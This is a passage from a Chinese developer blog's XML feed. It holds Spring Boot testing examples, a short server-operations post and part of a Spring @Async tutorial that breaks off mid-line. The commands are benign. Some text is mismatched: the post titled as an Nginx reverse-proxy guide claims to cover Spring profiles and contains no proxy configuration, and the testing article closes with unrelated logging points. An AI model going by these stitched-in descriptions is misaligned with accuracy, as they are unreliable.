class="keyword">class</span> <span class="title class_">OrderControllerTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MockMvc mockMvc;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@MockBean</span></span><br><span class="line">    <span class="keyword">private</span> PaymentService paymentService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderRepository orderRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldCreateOrder</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">when</span>(paymentService.charge(any())).thenReturn(<span class="literal">true</span>);</span><br><span class="line">        </span><br><span class="line">        mockMvc.perform(post(<span class="string">&quot;/orders&quot;</span>)</span><br><span class="line">                .contentType(MediaType.APPLICATION_JSON)</span><br><span class="line">                .content(<span class="string">&quot;&#123;\&quot;amount\&quot;:100&#125;&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">200</span>));</span><br><span class="line">        </span><br><span class="line">        verify(paymentService).charge(any());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="切片测试"><a href="#切片测试" class="headerlink" title="切片测试"></a>切片测试</h2><p>#</p><h2 id="WebMvcTest（Controller-层）"><a href="#WebMvcTest（Controller-层）" class="headerlink" title="@WebMvcTest（Controller 层）"></a>@WebMvcTest（Controller 层）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@WebMvcTest(UserController.class)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UserControllerTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MockMvc mockMvc;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@MockBean</span></span><br><span class="line">    <span class="keyword">private</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldGetUser</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        <span class="keyword">when</span>(userService.getUser(<span class="number">1L</span>)).thenReturn(user);</span><br><span class="line">        </span><br><span class="line">        mockMvc.perform(get(<span class="string">&quot;/users/1&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.data.username&quot;</span>).value(<span class="string">&quot;test&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="DataJpaTest（Repository-层）"><a href="#DataJpaTest（Repository-层）" class="headerlink" title="@DataJpaTest（Repository 层）"></a>@DataJpaTest（Repository 层）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@DataJpaTest</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UserRepositoryTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TestEntityManager entityManager;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldFindByUsername</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        entityManager.persist(user);</span><br><span class="line">        </span><br><span class="line">        Optional&lt;User&gt; found = userRepository.findByUsername(<span class="string">&quot;test&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        assertTrue(found.isPresent());</span><br><span class="line">        assertEquals(<span class="string">&quot;test@test.com&quot;</span>, found.get().getEmail());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldExistsByUsername</span><span class="params">()</span> &#123;</span><br><span class="line">        entityManager.persist(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        assertTrue(userRepository.existsByUsername(<span class="string">&quot;test&quot;</span>));</span><br><span class="line">        assertFalse(userRepository.existsByUsername(<span class="string">&quot;other&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="JdbcTest（JDBC-层）"><a href="#JdbcTest（JDBC-层）" class="headerlink" title="@JdbcTest（JDBC 层）"></a>@JdbcTest（JDBC 层）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@JdbcTest</span></span><br><span class="line"><span class="meta">@AutoConfigureTestDatabase(replace = AutoConfigureTestDatabase.Replace.NONE)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">JdbcRepositoryTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JdbcTemplate jdbcTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldQueryData</span><span class="params">()</span> &#123;</span><br><span class="line">        jdbcTemplate.update(<span class="string">&quot;INSERT INTO users (username) VALUES (?)&quot;</span>, <span class="string">&quot;test&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> jdbcTemplate.queryForObject(</span><br><span class="line">            <span class="string">&quot;SELECT username FROM users WHERE id = 1&quot;</span>, String.class);</span><br><span class="line">        </span><br><span class="line">        assertEquals(<span class="string">&quot;test&quot;</span>, username);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="JsonTest（JSON-序列化）"><a href="#JsonTest（JSON-序列化）" class="headerlink" title="@JsonTest（JSON 序列化）"></a>@JsonTest（JSON 序列化）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@JsonTest</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UserJsonTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JacksonTester&lt;User&gt; json;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldSerialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        assertThat(json.write(user)).isStrictlyEqualToJson(<span class="string">&quot;expected.json&quot;</span>);</span><br><span class="line">        assertThat(json.write(user)).hasJsonPathStringValue(<span class="string">&quot;@.username&quot;</span>, <span class="string">&quot;test&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldDeserialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">content</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;id\&quot;:1,\&quot;username\&quot;:\&quot;test\&quot;,\&quot;email\&quot;:\&quot;test@test.com\&quot;&#125;&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        assertThat(json.parse(content)).isEqualTo(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test@test.com&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试配置"><a href="#测试配置" class="headerlink" title="测试配置"></a>测试配置</h2><p>#</p><h2 id="application-test-yml"><a href="#application-test-yml" class="headerlink" title="application-test.yml"></a>application-test.yml</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:h2:mem:testdb</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">org.h2.Driver</span></span><br><span class="line">  <span class="attr">jpa:</span></span><br><span class="line">    <span class="attr">hibernate:</span></span><br><span class="line">      <span class="attr">ddl-auto:</span> <span class="string">create-drop</span></span><br><span class="line"></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">WARN</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="ActiveProfiles"><a href="#ActiveProfiles" class="headerlink" title="@ActiveProfiles"></a>@ActiveProfiles</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@ActiveProfiles(&quot;test&quot;)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">IntegrationTest</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="TestConfiguration"><a href="#TestConfiguration" class="headerlink" title="@TestConfiguration"></a>@TestConfiguration</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@TestConfiguration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Primary</span></span><br><span class="line">    <span class="keyword">public</span> PaymentService <span class="title function_">mockPaymentService</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">PaymentService</span> <span class="variable">mock</span> <span class="operator">=</span> Mockito.mock(PaymentService.class);</span><br><span class="line">        <span class="keyword">when</span>(mock.charge(any())).thenReturn(<span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">return</span> mock;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">OrderServiceTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Import(TestConfig.class)</span></span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Config</span> &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试数据库"><a href="#测试数据库" class="headerlink" title="测试数据库"></a>测试数据库</h2><p>#</p><h2 id="H2-内存数据库"><a href="#H2-内存数据库" class="headerlink" title="H2 内存数据库"></a>H2 内存数据库</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.h2database<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>h2<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="TestContainers"><a href="#TestContainers" class="headerlink" title="TestContainers"></a>TestContainers</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.testcontainers<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mysql<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">scope</span>&gt;</span>test<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Testcontainers</span></span><br><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MySQLIntegrationTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Container</span></span><br><span class="line">    <span class="keyword">static</span> MySQLContainer&lt;?&gt; mysql = <span class="keyword">new</span> <span class="title class_">MySQLContainer</span>&lt;&gt;(<span class="string">&quot;mysql:8.0&quot;</span>)</span><br><span class="line">        .withDatabaseName(<span class="string">&quot;test&quot;</span>)</span><br><span class="line">        .withUsername(<span class="string">&quot;test&quot;</span>)</span><br><span class="line">        .withPassword(<span class="string">&quot;test&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@DynamicPropertySource</span></span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">configureProperties</span><span class="params">(DynamicPropertyRegistry registry)</span> &#123;</span><br><span class="line">        registry.add(<span class="string">&quot;spring.datasource.url&quot;</span>, mysql::getJdbcUrl);</span><br><span class="line">        registry.add(<span class="string">&quot;spring.datasource.username&quot;</span>, mysql::getUsername);</span><br><span class="line">        registry.add(<span class="string">&quot;spring.datasource.password&quot;</span>, mysql::getPassword);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">shouldWorkWithMySQL</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 使用真实 MySQL 测试</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试原则"><a href="#测试原则" class="headerlink" title="测试原则"></a>测试原则</h2><table><thead><tr><th>原则</th><th>说明</th></tr></thead><tbody><tr><td>FIRST</td><td>Fast, Independent, Repeatable, Self-validating, Timely</td></tr><tr><td>单一职责</td><td>每个测试只验证一个概念</td></tr><tr><td>独立</td><td>测试之间不依赖</td></tr><tr><td>可重复</td><td>任何环境都能运行</td></tr><tr><td>清晰命名</td><td><code>shouldXxxWhenYxx</code></td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>测试类型</th><th>注解</th><th>适用场景</th></tr></thead><tbody><tr><td>单元测试</td><td>@ExtendWith(MockitoExtension.class)</td><td>Service 层纯逻辑</td></tr><tr><td>Controller 测试</td><td>@WebMvcTest</td><td>Controller 层</td></tr><tr><td>Repository 测试</td><td>@DataJpaTest</td><td>Repository 层</td></tr><tr><td>集成测试</td><td>@SpringBootTest</td><td>全链路测试</td></tr><tr><td>JSON 测试</td><td>@JsonTest</td><td>序列化测试</td></tr></tbody></table><p>好的测试是代码质量的保障，Spring Boot 提供了完善的测试支持，应该充分利用。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-反向代理配置入门"><a href="#Nginx-反向代理配置入门" class="headerlink" title="Nginx 反向代理配置入门"></a>Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringAsync异步方法</title>
      <link href="//springasync-yi-bu-fang-fa/"/>
      <url>//springasync-yi-bu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringAsync异步方法"><a href="#SpringAsync异步方法" class="headerlink" title="SpringAsync异步方法"></a>SpringAsync异步方法</h1><p>Spring 的 @Async 注解提供了简单的异步方法支持，将方法放入线程池中执行，不阻塞调用方。</p><h2 id="启用异步"><a href="#启用异步" class="headerlink" title="启用异步"></a>启用异步</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><h3 id="Async-注解"><a href="#Async-注解" class="headerlink" title="@Async 注解"></a>@Async 注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EmailService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(EmailService.class);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 无返回值</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendEmail</span><span class="params">(String to, String subject, String content)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;发送邮件到: &#123;&#125;, 线程: &#123;&#125;&quot;</span>, to, Thread.currentThread().getName());</span><br><span class="line">        <span class="comment">// 模拟发送</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Thread.sleep(<span class="number">2000</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125;</span><br><span class="line">        log.info(<span class="string">&quot;邮件发送完成: &#123;&#125;&quot;</span>, to);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 有返回值</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> Future&lt;String&gt; <span class="title function_">sendEmailWithResult</span><span class="params">(String to)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;发送邮件: &#123;&#125;, 线程: &#123;&#125;&quot;</span>, to, Thread.currentThread().getName());</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AsyncResult</span>&lt;&gt;(<span class="string">&quot;发送成功: &quot;</span> + to);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// CompletableFuture（推荐）</span></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> CompletableFuture&lt;String&gt; <span class="title function_">sendEmailAsync</span><span class="params">(String to)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;发送邮件: &#123;&#125;, 线程: &#123;&#125;&quot;</span>, to, Thread.currentThread().getName());</span><br><span class="line">        <span class="keyword">return</span> CompletableFuture.completedFuture(<span class="string">&quot;发送成功: &quot;</span> + to);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="调用"><a href="#调用" class="headerlink" title="调用"></a>调用</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> EmailService emailService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 保存订单</span></span><br><span class="line">        orderDao.save(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 异步发送邮件（不阻塞）</span></span><br><span class="line">        emailService.sendEmail(request.getEmail(), <span class="string">&quot;订单确认&quot;</span>, <span class="string">&quot;...&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 继续处理其他逻辑</span></span><br><span class="line">        System.out.println(<span class="string">&quot;订单创建完成&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrderWithResult</span><span class="params">(OrderRequest request)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        orderDao.save(request);</span><br><span class="line">        </span><br><span class="line">        Future&lt;String&gt; future = emailService.sendEmailWithResult(request.getEmail());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 可以做其他事情...</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取结果（阻塞等待）</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> future.get(<span class="number">5</span>, TimeUnit.SECONDS);</span><br><span class="line">        System.out.println(result);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="线程池配置"><a href="#线程池配置" class="headerlink" title="线程池配置"></a>线程池配置</h2><h3 id="默认线程池"><a href="#默认线程池" class="headerlink" title="默认线程池"></a>默认线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(name = &quot;taskExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">taskExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">5</span>);        <span class="comment">// 核心线程数</span></span><br><span class="line">        executor.setMaxPoolSize(<span class="number">10</span>);        <span class="comment">// 最大线程数</span></span><br><span class="line">        executor.setQueueCapacity(<span class="number">100</span>);     <span class="comment">// 队列容量</span></span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;async-&quot;</span>);</span><br><span class="line">        executor.setRejectedExecutionHandler(<span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy());</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="指定线程池"><a href="#指定线程池" class="headerlink" title="指定线程池"></a>指定线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(&quot;emailExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">emailExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">2</span>);</span><br><span class="line">        executor.setMaxPoolSize(<span class="number">5</span>);</span><br><span class="line">        executor.setQueueCapacity(<span class="number">50</span>);</span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;email-&quot;</span>);</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(&quot;smsExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">smsExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">2</span>);</span><br><span class="line">        executor.setMaxPoolSize(<span class="number">5</span>);</span><br><span class="line">        executor.setQueueCapacity(<span class="number">50</span>);</span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;sms-&quot;</span>);</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NotificationService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async(&quot;emailExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendEmail</span><span class="params">(String to)</span> &#123;</span><br><span class="line">        <span class="comment">// 使用 email 线程池</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Async(&quot;smsExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendSms</span><span class="params">(String phone)</span> &#123;</span><br><span class="line">        <span class="comment">// 使用 sms 线程池</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="优雅关闭"><a href="#优雅关闭" class="headerlink" title="优雅关闭"></a>优雅关闭</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean(name = &quot;taskExecutor&quot;, destroyMethod = &quot;shutdown&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Executor <span class="title function_">taskExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">    executor.setCorePoolSize(<span class="number">5</span>);</span><br><span class="line">    executor.setMaxPoolSize(<span class="number">10</span>);</span><br><span class="line">    executor.setQueueCapacity(<span class="number">100</span>);</span><br><span class="line">    executor.setWaitForTasksToCompleteOnShutdown(<span class="literal">true</span>);  <span class="comment">// 